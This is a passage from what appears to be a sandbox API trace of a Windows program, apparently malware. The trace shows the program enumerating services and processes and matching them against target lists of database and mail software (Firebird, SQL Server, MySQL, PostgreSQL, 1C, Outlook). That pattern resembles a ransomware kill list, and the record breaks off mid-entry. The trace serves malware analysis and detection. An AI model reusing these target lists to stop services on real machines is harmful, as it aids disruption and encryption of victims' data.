lstrlenW (lpString="MMCSS") returned 5 [0059.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0059.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0059.266] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0059.266] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0059.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0059.266] lstrlenW (lpString="MpsSvc") returned 6 [0059.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0059.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0059.266] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0059.266] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0059.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0059.266] lstrlenW (lpString="Netman") returned 6 [0059.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0059.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0059.266] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0059.266] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0059.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0059.266] lstrlenW (lpString="netprofm") returned 8 [0059.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0059.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0059.266] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0059.266] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0059.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0059.266] lstrlenW (lpString="NlaSvc") returned 6 [0059.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0059.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0059.266] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0059.266] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0059.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0059.266] lstrlenW (lpString="nsi") returned 3 [0059.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0059.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0059.267] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0059.267] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0059.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0059.267] lstrlenW (lpString="PcaSvc") returned 6 [0059.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0059.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0059.267] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0059.267] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0059.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0059.267] lstrlenW (lpString="PlugPlay") returned 8 [0059.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0059.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0059.267] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0059.267] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0059.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0059.267] lstrlenW (lpString="Power") returned 5 [0059.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0059.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0059.267] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0059.267] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0059.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0059.267] lstrlenW (lpString="ProfSvc") returned 7 [0059.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0059.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0059.267] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0059.267] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0059.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0059.267] lstrlenW (lpString="RpcEptMapper") returned 12 [0059.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0059.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0059.267] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0059.267] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0059.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0059.267] lstrlenW (lpString="RpcSs") returned 5 [0059.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0059.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0059.268] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0059.268] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0059.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0059.268] lstrlenW (lpString="SamSs") returned 5 [0059.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0059.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0059.268] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0059.268] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0059.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0059.268] lstrlenW (lpString="Schedule") returned 8 [0059.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0059.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0059.268] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0059.268] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0059.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0059.268] lstrlenW (lpString="SENS") returned 4 [0059.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0059.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0059.268] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0059.268] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0059.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0059.268] lstrlenW (lpString="ShellHWDetection") returned 16 [0059.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0059.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0059.268] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0059.268] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0059.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0059.268] lstrlenW (lpString="Spooler") returned 7 [0059.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0059.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0059.269] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0059.269] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0059.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0059.269] lstrlenW (lpString="swprv") returned 5 [0059.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0059.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0059.269] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0059.269] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0059.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0059.269] lstrlenW (lpString="SysMain") returned 7 [0059.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0059.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0059.269] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0059.269] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0059.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0059.269] lstrlenW (lpString="Themes") returned 6 [0059.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0059.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0059.269] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0059.269] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0059.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0059.269] lstrlenW (lpString="TrkWks") returned 6 [0059.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0059.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0059.269] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0059.269] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0059.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0059.269] lstrlenW (lpString="UxSms") returned 5 [0059.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0059.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0059.269] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0059.269] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0059.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0059.269] lstrlenW (lpString="VSS") returned 3 [0059.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0059.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0059.270] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0059.270] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0059.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0059.270] lstrlenW (lpString="WdiServiceHost") returned 14 [0059.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0059.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0059.270] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0059.270] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0059.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0059.270] lstrlenW (lpString="WdiSystemHost") returned 13 [0059.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0059.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0059.270] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0059.270] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0059.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0059.270] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0059.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0059.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0059.270] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0059.270] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0059.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0059.270] lstrlenW (lpString="Winmgmt") returned 7 [0059.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0059.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0059.270] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0059.270] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0059.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0059.270] lstrlenW (lpString="WPDBusEnum") returned 10 [0059.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0059.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0059.270] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0059.270] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0059.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0059.270] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5400088 | out: hHeap=0x790000) returned 1 [0059.270] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3d4 [0059.272] Process32FirstW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0059.272] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0059.273] lstrlenW (lpString="System") returned 6 [0059.273] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0059.273] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0059.273] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0059.273] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0059.273] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0059.273] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0059.273] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0059.273] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0059.273] lstrlenW (lpString="smss.exe") returned 8 [0059.273] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0059.273] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0059.273] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0059.273] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0059.273] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0059.273] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0059.273] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0059.273] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.274] lstrlenW (lpString="csrss.exe") returned 9 [0059.274] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0059.274] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0059.274] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0059.274] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0059.274] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0059.274] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0059.274] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0059.274] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0059.274] lstrlenW (lpString="wininit.exe") returned 11 [0059.274] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0059.274] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0059.274] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0059.274] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.275] lstrlenW (lpString="csrss.exe") returned 9 [0059.275] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0059.275] lstrlenW (lpString="winlogon.exe") returned 12 [0059.275] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0059.275] lstrlenW (lpString="services.exe") returned 12 [0059.275] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0059.276] lstrlenW (lpString="lsass.exe") returned 9 [0059.276] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0059.276] lstrlenW (lpString="lsm.exe") returned 7 [0059.276] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.276] lstrlenW (lpString="svchost.exe") returned 11 [0059.276] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.276] lstrlenW (lpString="svchost.exe") returned 11 [0059.277] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.277] lstrlenW (lpString="svchost.exe") returned 11 [0059.277] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.277] lstrlenW (lpString="svchost.exe") returned 11 [0059.277] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.277] lstrlenW (lpString="svchost.exe") returned 11 [0059.277] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0059.278] lstrlenW (lpString="audiodg.exe") returned 11 [0059.278] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.278] lstrlenW (lpString="svchost.exe") returned 11 [0059.278] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.278] lstrlenW (lpString="svchost.exe") returned 11 [0059.278] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0059.279] lstrlenW (lpString="dwm.exe") returned 7 [0059.279] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0059.279] lstrlenW (lpString="explorer.exe") returned 12 [0059.279] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0059.279] lstrlenW (lpString="spoolsv.exe") returned 11 [0059.279] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.279] lstrlenW (lpString="taskhost.exe") returned 12 [0059.279] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.280] lstrlenW (lpString="svchost.exe") returned 11 [0059.280] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0059.280] lstrlenW (lpString="taskeng.exe") returned 11 [0059.280] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.280] lstrlenW (lpString="taskhost.exe") returned 12 [0059.280] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0059.281] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0059.281] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0059.281] lstrlenW (lpString="noticed.exe") returned 11 [0059.281] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0059.281] lstrlenW (lpString="uploaded.exe") returned 12 [0059.281] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0059.282] lstrlenW (lpString="hardware.exe") returned 12 [0059.282] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0059.282] lstrlenW (lpString="oracle.exe") returned 10 [0059.282] Process32NextW (in: hSnapshot=0x3d4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, 